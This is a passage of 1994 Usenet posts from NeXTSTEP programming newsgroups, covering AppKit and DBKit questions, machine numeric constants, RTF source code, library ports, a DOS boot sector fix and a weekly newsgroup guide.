From: Matthias Imhof <gondwana@basalt.mit.edu> Newsgroups: comp.sys.next.programmer,sci.math-num-analysis Subject: numerics: imach, rmach and so on Date: 16 Jan 1994 22:27:12 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <2hcf00$h94@senator-bedfellow.MIT.EDU> where do i get the right parameters for the imach function used in numerics the hardware use is a black next with motorola 68040 uP i know that i can use the routines machar and so to find them, but their results dont make any sense to me e.g Double precision MACHAR constants ibeta = 2 it = 53 irnd = 5 ngrd = 0 machep = -52 negep = -53 iexp = 11 minexp = -1022 maxexp = 1024 eps 2.2204460492503131e-16 3CB00000 0 epsneg 1.1102230246251565e-16 3CA00000 0 xmin 2.2250738585072014e-308 100000 0 xmax 1.7976931348623157e+308 7FEFFFFF FFFFFFFF has to be translated into something like C DATA IMACH( 1) / 5 / C DATA IMACH( 2) / 6 / C DATA IMACH( 3) / 5 / C DATA IMACH( 4) / 6 / C DATA IMACH( 5) / 36 / C DATA IMACH( 6) / 5 / C DATA IMACH( 7) / 2 / C DATA IMACH( 8) / 35 / C DATA IMACH( 9) / "377777777777 / C DATA IMACH(10) / 2 / C DATA IMACH(11) / 27 / C DATA IMACH(12) / -128 / C DATA IMACH(13) / 127 / C DATA IMACH(14) / 54 / C DATA IMACH(15) / -101 / C DATA IMACH(16) / 127 / does that make any sense to anyone out there? -- *************************************************************************** * Matthias G.Imhof phone: (617) 253 7835 * * MIT Earth Resource Lab E34/370 fax: (617) 253 6385 * * 42 Carlton St * * Cambridge MA 02142-1324 email: mgi@erl.mit.edu * * There is no dark side of the moon really. Matter of fact it's all dark * ***************************************************************************
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Modal Event Behavior Date: 17 Jan 1994 00:12:17 GMT Organization: Abstract Software Message-ID: <2hcl51$d6n@news.u.washington.edu> I can't tell if the problem I'm experiencing is of the "Bug in the Appkit" variety or (less likely) "Bug in the App" variety. I suspect the former. This is what I expected: Mousedown in view enters modal loop. Modal loop cruises along grabbing and processing events until we hit an L_MOUSEUP, at which point we stop the modal session and return to the main NXApp event processing. This is more-or-less what is happening. However, if we're moving the mouse at the time of the mouseup I get the following events: NX_MOUSEDRAGGED NX_MOUSEDRAGGED NX_MOUSEDRAGGED NX_MOUSEMOVED Without an NX_LMOUSEUP! I could live with this as an explanation except for one fact ... even if our window's event mask is excluding MOUSEDRAGGED events, we never get the mouseup, even though it obviously occurred. This seems very counter-intuitive to me. If it's not an appkit "Bug", it's most probably an appkit "Not doing what I expected". -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Re: Getting path of dragged file from Workspace Date: 17 Jan 1994 00:44:10 GMT Organization: Abstract Software Distribution: usa Message-ID: <2hcn0q$dka@news.u.washington.edu> References: <1993Dec29.101237.484@newstand.syr.edu> In article <1993Dec29.101237.484@newstand.syr.edu> drebnord@betenoir.syr.edu (David A. Rebnord) writes: >I would like to drag a file icon from WM into my app. The only thing I >want my app to do is get the full path for the dragged file icon, much >like Terminal does in 3.x. As always, any help will be much >appreciated. > You need to register for dragging type NXFilenamePboardType. Then when you receive the performDragOperation: method, the filename will be (roughly) an ascii string on the drag pasteboard. Multiple filenames are (as I recall) strings separated by hex $09 bytes. -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Public (Domain) Key encryption? Date: 17 Jan 1994 00:50:42 GMT Organization: Abstract Software Message-ID: <2hcnd2$dm1@news.u.washington.edu> Is there a public domain Key Encryption object floating around? I know about PGP. Thanks. -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: Unicode ?? Date: 17 Jan 1994 00:51:48 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2hcnf4$3b0@agate.berkeley.edu> References: <1994Jan15.063711.374@dflora.cuug.ab.ca> In article <1994Jan15.063711.374@dflora.cuug.ab.ca> peter@dflora.com (Peter D. Wilson) writes: >Does anyone know if and when NeXT (and Sybase ) will be offering support >for the unicode character set ? Is it in NS3.2 ? Unicode is one of those things that everyone says that they will support it, and then leave it alone. So, No, it is not in NS3.2. Besides, I've never heard of anyone using Unicode in documents or communications. On the other hand, what you really want is Japanese character set support, it is available now from Canon as NS3.xJ. I understand that Chinese character set support is also available from a 3-rd party vendor in Taiwan. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Re: How to display a PS code in a view? Date: 17 Jan 1994 01:22:40 GMT Organization: Abstract Software Message-ID: <2hcp90$e5j@news.u.washington.edu> References: <1994Jan13.214623.13795@ringer.cs.utsa.edu> In article <1994Jan13.214623.13795@ringer.cs.utsa.edu> ggerard@Alex.Engr.Trinity.Edu (Greg Gerard) writes: >I would like to generate PS code inside a program and then have it displayed >in a view. Something like YAP, but the input from the user is not PS itself. > >Looking through the YAP code, I decided it was written by an expert and great >pains were taken to optimize it. While the comments are somewhat useful, I >have not been enlightened to any great extent. I need a clear example to >start with so I can see where these optimazations would come from and why. > >Can it be done so that I generate PS code into a stream and then have this >(whatever method that does read PS) give me back an image that I can then >display or save? This method does about what you want, I think: - (NXImage *)formImage { NXStream *s; NXImage *theImage; if (s = NXOpenMemory (NULL, 0, NX_READWRITE)) { NX_DURING { [self copyPSCodeInside:&bounds to:s]; NXSeek(s,0,NX_FROMSTART); theImage = [[NXImage alloc] initFromStream:s]; } NX_HANDLER { /* error while saving... */ } NX_ENDHANDLER NXCloseMemory (s, NX_FREEBUFFER); } return theImage; } -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: stabl@antigone.ppp.informatik.uni-muenchen.de (Robert Stabl) Newsgroups: comp.sys.next.programmer,comp.lang.tcl,comp.lang.objective-c Subject: First port of Tcl/Objective-C Interface Library available for NeXT's cc Date: 17 Jan 1994 00:47:12 GMT Organization: Institut fuer Informatik der Ludwig-Maximilians-Universitaet Muenchen Message-ID: <2hcn6h$23r@antigone.ppp.informatik.uni-muenchen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Tcl / Objective-C Interface Library compiling on NeXT systems ************************************************************* The Tcl / Objective-C Interface Library, version 0.1, is now available for NeXT systems using the bundeled Objective-C compiler (tested under OS3.2) Where can you get it? How can you compile it? ============================================== The NeXT version of the library is available by anonymous ftp at ftp.informatik.uni-muenchen.de:pub/comp/platforms/next/Developer/resources/lib raries/libtclobjc.0.1.N.s.tar.gz The library requires NeXT's cc and tcl-7.3. tcl is available at ftp.cs.berkeley.edu; The `.tar' file is compressed with GNU gzip. It can be obtained by anonymous ftp at any of the GNU archive sites. For info about FTP via email, send email to `ftpmail@decwrl.dec.com' with no subject line, and two-line body with line one `help' and line two `quit'. What is the Tcl / Objective-C Interface Library ? ================================================= See the file README provided by R. Andrew McCallum with its original distribution of libtclobjc-0.1.tar.gz (to be found at: cs.rochester.edu:pub/libcoll/libtclobjc-0.1.tar.gz) I took the code and changed it to get it compiled with NeXT's cc under NeXTstep 3.2. At the moment I cannot provide any diffs to the original distribution (although I have the code under revision control) because there are too many changes (the naming convention between GNU-Objc and NeXT-Objc runtime functions is too different). WARNING: This code is provided on an as-is basis. It currently works in my environment, but unfortunately I don't have time right now to make it work for everyone. Consider this version as first snapshot of porting R. Andrew McCallum's great work to the NeXT compiler. I'll be happy to get responses and/or bug fixes and i'll try to work on the library in my spare free time. Compilation =========== 1. Read the Makefile and fix it for your site (e.g. the path to the TCL installation) 2. Type 'make' Testing the library =================== After compilation type './tclObjcSh < test.tcl' Robert Stabl. -- Robert Stabl email: stabl@informatik.uni-muenchen.de Computer Science Institute Tel: +(49) 89 2180 6316 University of Munich FAX: +(49) 89 2180 6310 Leopoldstr. 11B "Wer die Wahrheit nicht weiss, der ist bloss ein D-80802 Muenchen Dummkopf. Aber wer sie weiss und sie eine Luege Germany nennt, der ist ein Verbrecher!" B.Brecht,"Galileo"
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Unicode ?? Date: Sun, 16 Jan 1994 22:39:40 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <AhCUVwm00iV4Q7nGxs@andrew.cmu.edu> In-Reply-To: <2hcnf4$3b0@agate.berkeley.edu> Excerpts from netnews.comp.sys.next.programmer: 17-Jan-94 Re: Unicode ?? by Izumi Ohzawa@pinoko.berk > Unicode is one of those things that everyone says that they will > support it, and then leave it alone. So, No, it is not in NS3.2. > Besides, I've never heard of anyone using Unicode in documents > or communications. This is not NeXT related, but the company I used to work for used Unicode internally and for documents for a project management product called "PROJECT/2 Series X", which has Mitsubishi as both a major customer and as our agent for other East Asian sales & support. -Chuck Charles William Swiger -- CMU...*splat*! | 1. You can't fly. --------------------------------------------+ 2. Cars are always real, even AMS & normal mail: infidel@cmu.edu | when they're not. Failing that: cs4w+@andrew.cmu.edu | 3. Police are not your friends. NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | 4. Fire burns.
From: bkr@drdhh.hanse.de (Bjoern Kriews) Newsgroups: comp.sys.next.programmer Subject: Re: Objectware License Agreements Date: 17 Jan 1994 02:26:29 +0100 Organization: Digital Island Message-ID: <bkr.758769779@drdhh> References: <1994Jan14.231523.15056@CSD-NewsHost.Stanford.EDU> hsr@cs.Stanford.EDU (Scott Roy) writes: >I'm about to release some Objectware to the net and would appreciate >feedback on the license I'm intending to include. The license is unique >in that it tries to make the code free for noncommercial usage, but >costing dollars for commercial use. Any and all comments are welcome. Seems like a real gain on all three sides of the desk. Freeware hackers (and therefore all users) can use well written objects, companies and individuals can look around, choose the best available and will perhaps use more - because they can try more. - Bjoern -- bkr@drdhh.hanse.de - Bjoern Kriews - Stormsweg 6 - D-22085 Hamburg [76] - FRG "Insisting on perfect safety is for people who don't have the balls to live in the real world." -- Mary Shafer, NASA Ames Dryden
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Rich Text Source Code?! Date: 17 Jan 1994 07:30:57 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <2hderh$h3f@senator-bedfellow.MIT.EDU> I just got around to upgrading to 3.2, and much to my delight I found in the Edit.app release notes that the development system supports compiling of Rich Text source code: Due to the addition of RTF support in the compiler, source code can now be made rich. This means that you can save a rich text file, which might normally be saved to Foo.rtf, as Foo.h or Foo.m. A change has been made to allow the typic al source code file extensions (.h, .c, .m, .H, .C, .M, .cc, .cpp, .cxx, and .h xx) to be used instead of the standard .rtf extension. Edit can now create and modify such files as rich text. One good example of how to use rich source code effectively, besides the obviou s use of italics, bold, underlining, fonts and color of comments and other synt actic constructs, is to use Help links to help document portions of code and li nk them to other portions of code. Under the Format menu, the Help submenu pr ovides the ability to insert a link to another file or to a marker placed in an other file. Markers can be inserted anywhere in the text and will be automatic ally selected (along with the remainder of the line following them) when a lin k to that marker is clicked on. Note that marker names can be inspected or cha nged by using *Show Markers: and Command-clicking them. (I haven't been keeping up with this newsgroup, so forgive me if this is old news) This support will make it loads easier document source code. I am surprised none of the NextDeveloper/Examples have RTF commented source code yet. By the way, the preprocessor release notes state that RTF source code may not work well with grep, but the finder in ProjectBuilder works fine with RTF. Eric
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 17 Jan 1994 02:04:20 -0500 Organization: Next Announcements Message-ID: <2hdd9k$kid@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: mueller@n1 (Robert Mueller) Newsgroups: comp.sys.next.programmer Subject: underline substrings in a Textobject Date: 17 Jan 1994 08:44:21 GMT Organization: Johannes Gutenberg-Universitaet Mainz, Germany Message-ID: <2hdj55$9vc@bambi.zdv.Uni-Mainz.DE> Keywords: AppKit, Text-Object Hi, maybe someone has an idea according to the following problem: I have added a method (" -appendAndUnderlineText:") to the Text-Class to append a substring to a given Textobject and then to underline this (and only this) substring programmatically: - appendAndUnderlineText: (const char *)aString { int lenBuff; lenBuff = [self textLength]; [self setSel: lenBuff: lenBuff]; [self replaceSel: aString]; // append "aString" [self setSel: lenBuff: [self textLength]]; // select "aString" [self underline: self]; // underline "aString" return self; } This works quite well, with the only fatal disadvantage, that from then on all substrings I add to the text-object are underlinded as well (although I then use a routine -appendText: which does not call -underline) I then added the lines: [self setSel: [self textLength]: [self textLength]]; [self underline: self]; to "- appendAndUnderlineText:" to switch off the underline modus but this has no effect ... Any idea? Your responses are welcome Thanks in advance Robert
Newsgroups: comp.sys.next.programmer From: clloyd@gleap (Charles C. Lloyd) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan17.081213.15361@gleap.sccsi.com> Sender: clloyd@gleap.sccsi.com Organization: GiantLeap Software References: <2hderh$h3f@senator-bedfellow.MIT.EDU> Date: Mon, 17 Jan 1994 08:12:13 GMT Eric M Hermanson writes > >(I haven't been keeping up with this newsgroup, so forgive me if this is old >news) This is oldish news. There has been a mailing list setup for us rtf fanatics :-). The addresses are RTFusers@steffi.demon.co.uk and RTFusers-request@steffi.demon.co.uk > >This support will make it loads easier document source code. I am surprised >none of the NextDeveloper/Examples have RTF commented source code yet. > >By the way, the preprocessor release notes state that RTF source code may >not work well with grep, but the finder in ProjectBuilder works fine with RTF. > Michael Hawley has posted some std UNIX tools to the archives which are rtf-aware. Can't recall where, though. Charles. -- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax)
From: blanford@spf.trw.com (Ronald P. Blanford) Newsgroups: comp.sys.next.programmer Subject: Re: Creating your own assocation Date: 17 Jan 1994 08:49:16 GMT Organization: TRW Systems Development Division Distribution: usa Message-ID: <2hdjec$r3i@deneva.sdd.trw.com> References: <1994Jan14.222519.1446@parsec.mixcom.com> Scott Violet writes > ...When I implement all of the > DBCustomAssociation methods I only get the following: > associationContentsDidChange:, associationSelectionDidChange:. > When want I really want is notification that I should be > changing the value ie association: setValue:, which I never > get. Am I missing something here? Any suggestions or code > snippets that use a DBCustomAssocation methods would be great. > Thanks in advance, > -Scott Violet (scott@SmartSoft.com) > Implement only the methods you want to receive. The DBCustomAssociation methods fall into two groups, the Access methods and the Notification methods. If you implement any of the Notification methods, the Access methods never get called. Implement the Access methods association:getValue: and association:setValue: in your custom object (doesn't have to be a view). Then create an association using the fetchGroup's makeAssociationFrom:aProperty to:yourObject. The fetchGroup will call setValue each time that property's value changes. When you have data you want to store to the fetchGroup, just have your object signal the module with takeValueFrom:self and the fetchGroup will call getValue to retrieve it. This is a truly beautiful way to hook into DBKit, and is unfortunately given extremely slight treatment in the documentation. -- Ron blanford@spf.trw.com
From: rep@hrz.tu-chemnitz.de (Ralph Eppert) Newsgroups: comp.sys.next.programmer Subject: Re: Porting NS prototypes to X-windows Date: 17 Jan 94 12:52:22 GMT Organization: University of Technology Chemnitz, FRG Message-ID: <rep.758811142@cache> References: <9401141758.AA13429@cantina.lanl.gov> silbar@cantina.lanl.gov (Dick Silbar) writes: >Greetings all, Yeahh, greetings back... ;-) > Some questions: > 3. Are there toolkits available that can facilitate the port? Get the objcX library from Paul Kunz and others. You can get it via ftp from ftp.slac.stanford.edu pub/sources/objcX-0.6.tar.gz - this is an appkit like lib for X and Motif (Objective C!!) nearly all the classes from appkit available but not everything is yet implemented. You need: gcc later than 2.3.3 Motif libs pub/sources/objcX-0.6.tar.gz - a translator for nib files to files that can be read by the above mentioned lib The lib is nearly compatible with the AppKit, but the following things are missing: Display Postscript, rich text, drag'n'drop, pasteboard, services etc.. But for your purposes I think it's worth a try. In case your app needs drawing you have to deal with the Xlib drawing routines. But they are easy to understand and use and many people here on the net can give you advise. ( Take a look at comp.windows.x.motif ) > 4. Anybody have any war stories about doing such ports that they want to share? Contact Paul Kunz, they made a port of their HippoDraw program with the help of this library. (You probably have to contact him, because there is no real documentation, besides the README's. ) If you want to get more information, please contact Paul Kunz at Paul_Kunz@slac.stanford.edu .. Hope this helps a little bit... , Ralph Eppert EMail: rep@informatik.tu-chemnitz.de
Newsgroups: comp.sys.next.programmer From: westner@picasso.pst.informatik.uni-muenchen.de (Dominik Westner) Subject: SYBASE Adaptor suddenly hanging Sender: news@informatik.uni-muenchen.de (News System) Message-ID: <CJs3FF.2Gw@informatik.uni-muenchen.de> Date: Mon, 17 Jan 1994 14:40:27 GMT Organization: Institut fuer Informatik der Universitaet Muenchen hi Adaptor wizs, This is so strange! I nearly got made with the following problem: I have built a custom application to access a SYBASE database using the SYBASE Adaptor (lib & adaptor version 4.6, OS 3.2). The app was working without any problems for quite some time now. It is using just the standard dbkit stuff no nifty methods. But as the database grew it suddenly stopped working. I can't insert or delete any records using my app - it just hangs. But I can still do it using isql. I debugged the app and found out that the adaptor is hanging. When I delete some records with isql then my app is working again without problem. But when I insert more records it hangs again. This happens when while trying to insert the 704th record. Can anybody help? I don't know what to do. I'm relying on this app. Are there any buggfixes or workarounds. Has anybody discovered similar things? Any help welcome, because I don't know what to do after I have spent days to fix the problem. Thanks in advance Dominik -- --- Dominik Westner "Everything is possible in an infinite universe" ___________________________________________Willi, the painter Dominik Westner Muenchen-Germany HOME: westner@guug.de [NeXTMail welcome] UNI: westner@informatik.uni-muenchen.de [NeXTMail welcome]
From: sam_s@NeXT.com (Sam Streeper) Newsgroups: comp.sys.next.programmer Subject: Re: Problems reinstalling DOS 6.0 after NS 3.2 Date: 13 Jan 1994 20:09:59 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2h49qn$auv@rosie.next.com> References: <2h431e$8l7@cmcl2.NYU.EDU> In article <2h431e$8l7@cmcl2.NYU.EDU> dario@voluptas (Dario Ringach) writes: > > I'm trying to reinstall DOS 6.0 after I had problems with NS 3.2 > on a Gateway DX2/66V. The DOS installation process goes smoothly. > It reformats the disks and copies the system files. However, when > I try to reboot from the hard disk I get > > NEXTSTEP boot1 v1.28 > > and it hangs there... What's going on? Where does this message > come from if the HD was completely reformatted? Any ideas? The boot1 program is a boot sector that can boot an intel "Nextstep-only" disk, or it can boot nextstep from a dos partition. It cannot startup a dos partitioned disk. For this you need next's boot0, dos' master boot record, or an equivalent program. In your case, the easiest solution is to run "fdisk /mbr" from dos. Dos installation didn't replace this boot sector since it detected that it was executable. -sam -- Opinions expressed herein are not those of my employer. They're not even mine. They're probably wrong besides. How did they get in here, anyway?
From: jdoenias@next.com (Josh Doenias) Newsgroups: comp.sys.next.programmer Subject: Re: Window bug? Date: 13 Jan 1994 22:15:29 GMT Organization: NeXT, Inc. Message-ID: <2h4h61$b2j@rosie.next.com> References: <CJJr8L.34y@dsinc!flash> In article <CJJr8L.34y@dsinc!flash> flash!jon@dsi.com writes: >.... >I'm trying to swap one view for another, then resize the window to >accomodate differing view sizes. That works great, but it's ugly. >While the Window's resizing the new area is white. I'd like to have it >not display itself at all until it's done resizing. I've tried >-disableDisplay and -disableFlushWindow to no avail. I've tried them in >various combinations. I merely get various levels of ugly, none of which >I'm happy with. >... It's not a bug, it's the expected behavior. Try using the Window method placeWindowAndDisplay: to resize your window. This should do more or less what you want. -- josh Joshua Doenias Center for Software Rehabilitation, NeXT Computer, Inc.
From: Matt_Watson@next.com (Matt Watson) Newsgroups: comp.sys.next.programmer Subject: Re: increasing the maximum number of temporary files Date: 15 Jan 1994 01:51:29 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2h7i71$cd1@rosie.next.com> References: <2h7h4a$9u4@controversy.math.lsa.umich.edu> In article <2h7h4a$9u4@controversy.math.lsa.umich.edu> hal@alfred.econ.lsa.umich.edu (Hal Varian) writes: > It appears from stdio.h that the maximum number of temporary > files that can be created with tmpnam or mktemp is TMP_MAX = 25. > I would like this to be much larger (e.g., 250). Are there any > easy ways to do this, or do I have to write my own mktemp? > -- If you link against libNeXT, you can use NXGetTempFilename(). matt. NXGetTempFilename() SUMMARY Create a temporary file name DECLARED IN defaults/defaults.h SYNOPSIS char *NXGetTempFilename(char *name, int pos) DESCRIPTION This function creates a unique file name by altering the name argument it is passed. NXGetTempFilename() replaces the six characters starting at the posth position within name with digits it generates; it then checks whether the file name is unique. If it is, the file name is returned; if not, different digits are tried until a unique name is found. NXGetTempFilename() is similar to the standard C function mktemp(), except that it can leave suffixes intact since you specify the location of the characters that get replaced. RETURN NXGetTempFilename() returns the unique file name it generates.
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Eudora Password change daemon Date: 17 Jan 1994 13:12:09 GMT Organization: WHU Koblenz Message-ID: <2he2r9$3om@obelix.WHU-Koblenz.de> Hello, has anybody succesfully compiled and installed the Eudora password change daemon poppassd from roy@nyu.edu on the NeXT? I have a lot of problems with it. Thank you in advance for any help in this matter, Wolfgang -- Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173 Wolfgang Roeckelein Fax: +49 261 6509 179 WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de Burgplatz 2 (NeXTmail ok) D-56179 Vallendar Germany
Newsgroups: comp.sys.next.programmer From: tomi@shinto.nbg.sub.org (Thomas Engel) Subject: Method naming conventions ? Message-ID: <CJMAKM.6I@shinto.nbg.sub.org> Keywords: Obj-C methods names protocols Sender: tomi@shinto.nbg.sub.org (Thomas Engel) Organization: Molecule Modelling Lab. Date: Fri, 14 Jan 1994 11:29:09 GMT Hello! I was just wondering if there is a guide/written convention on method naming in Objc-C and if there is a collection of protocols that are non NeXT defined. 1.) Some conventions I believe are used bye NeXT: - setAnInstance - anInstance ... to set/query instance objects variables - getThis: *this andThat: *that .. to return values inside the passed pointers. - is.../does../has... to query BOOLs - ? What else do they use ? What do you use ? 2.) I read about a group that was trying to collect and establish proto- cols for the most common methods. Are they still alive ? I was not able to subscribe to their mail-list. What is their address ? I would be intersted in this because using common names and naming schemas (protocols) makes programming easier and more 'object' independent. Bye, Tom -- ____________________________________________________ (tomi@shinto.nbg.sub.org) Thomas Engel Neptunstr. 9 NeXTMail welcome 90522 Oberasbach
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan17.180606.19694@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University References: <2hderh$h3f@senator-bedfellow.MIT.EDU> Date: Mon, 17 Jan 1994 18:06:06 GMT In article <2hderh$h3f@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > > This support will make it loads easier document source code. I am surprised > none of the NextDeveloper/Examples have RTF commented source code yet. > Because half of them are written by programmers that use emacs. Myself, I believe that RTF source is a bad idea. Why? It makes it hard to use the program of your choice to edit the file. I use all of Edit, jove, and emacs, and if *anyone* hands me a source code file in RTF I am going to bonk them on the head with it. The editor should be able to *display* the source code in meaningful ways (ie. formatted, highlit, whatever) but to see some of the crazy ideas people have about what is good readable RTF code makes me ill. NeXT has, in the past, always approached NEXTSTEP from the point of view that the user/programmer is a dope with no taste. They don't let you customize the environment, or the presentation of your interface at all (compared to X interfaces of course). I find it surprising that they've gone and opened the floodgates to every bad idea every programmer has out there about source code presentation. That's my 